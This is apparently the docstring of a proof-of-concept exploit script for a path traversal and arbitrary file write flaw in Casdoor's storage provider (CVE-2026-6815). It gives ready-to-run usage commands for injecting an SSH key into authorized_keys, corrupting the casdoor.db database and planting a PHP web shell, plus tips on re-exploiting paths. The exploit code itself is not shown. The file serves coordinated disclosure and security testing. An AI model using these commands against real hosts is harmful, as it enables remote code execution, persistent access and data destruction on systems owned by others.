    """
    Casdoor Arbitrary File Write / Path Traversal PoC (CVE-2026-6815)
    ================================================
    
    DESCRIPTION:
    This script exploits a Path Traversal vulnerability in the storage provider 
    management component of Casdoor. By creating a 'Local File System' provider 
    with a manipulated 'pathPrefix', an authenticated administrator can bypass 
    the storage sandbox to write, overwrite, or delete arbitrary files on the 
    underlying host filesystem.
    
    IMPACT:
    - Remote Code Execution (RCE) via SSH key injection or web shell upload.
    - Persistent Denial of Service (DoS) by corrupting core application binaries 
      or database files (e.g., casdoor.db).
    
    USAGE EXAMPLES:
    1. SSH Key Injection for RCE:
       python3 poc.py --url http://target:8000 --usr admin --psw 123 --file id_rsa.pub --rpath /home/casdoor/.ssh/authorized_keys
    
    2. Persistent DoS (Database Corruption):
       python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
    
    3. Reverse Shell (via secondary web server webroot):
       python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
    
    TROUBLESHOOTING & TECHNICAL NOTES:
    - APP & ORG CONTEXT: By default, the script targets the 'app-built-in' application 
      and 'built-in' organization. If you have credentials for custom 
      namespaces, specify them using the --appname and --orgname flags.
    - FILE OVERWRITE BEHAVIOR: Successful overwriting occurs only once per unique 
      remote path. Casdoor's resource management logic prevents direct subsequent 
      overwrites by appending increments (e.g., file-1.ext, file-2.ext) to the 
      resource name if the entry already exists in the application's internal 
      database. To re-exploit the same path, the specific resource entry must 
      usually be deleted via the UI/API or a different provider name must be used.
    - PERMISSIONS: Exploitation success is dependent on the OS-level permissions 
      of the user account running the Casdoor service.
    - VERBOSE MODE: Use -v or --verbose to inspect raw API requests and responses.
    
    DISCLAIMER:
    This tool is for educational and coordinated disclosure purposes only. 
    Unauthorized testing against systems you do not own is illegal.
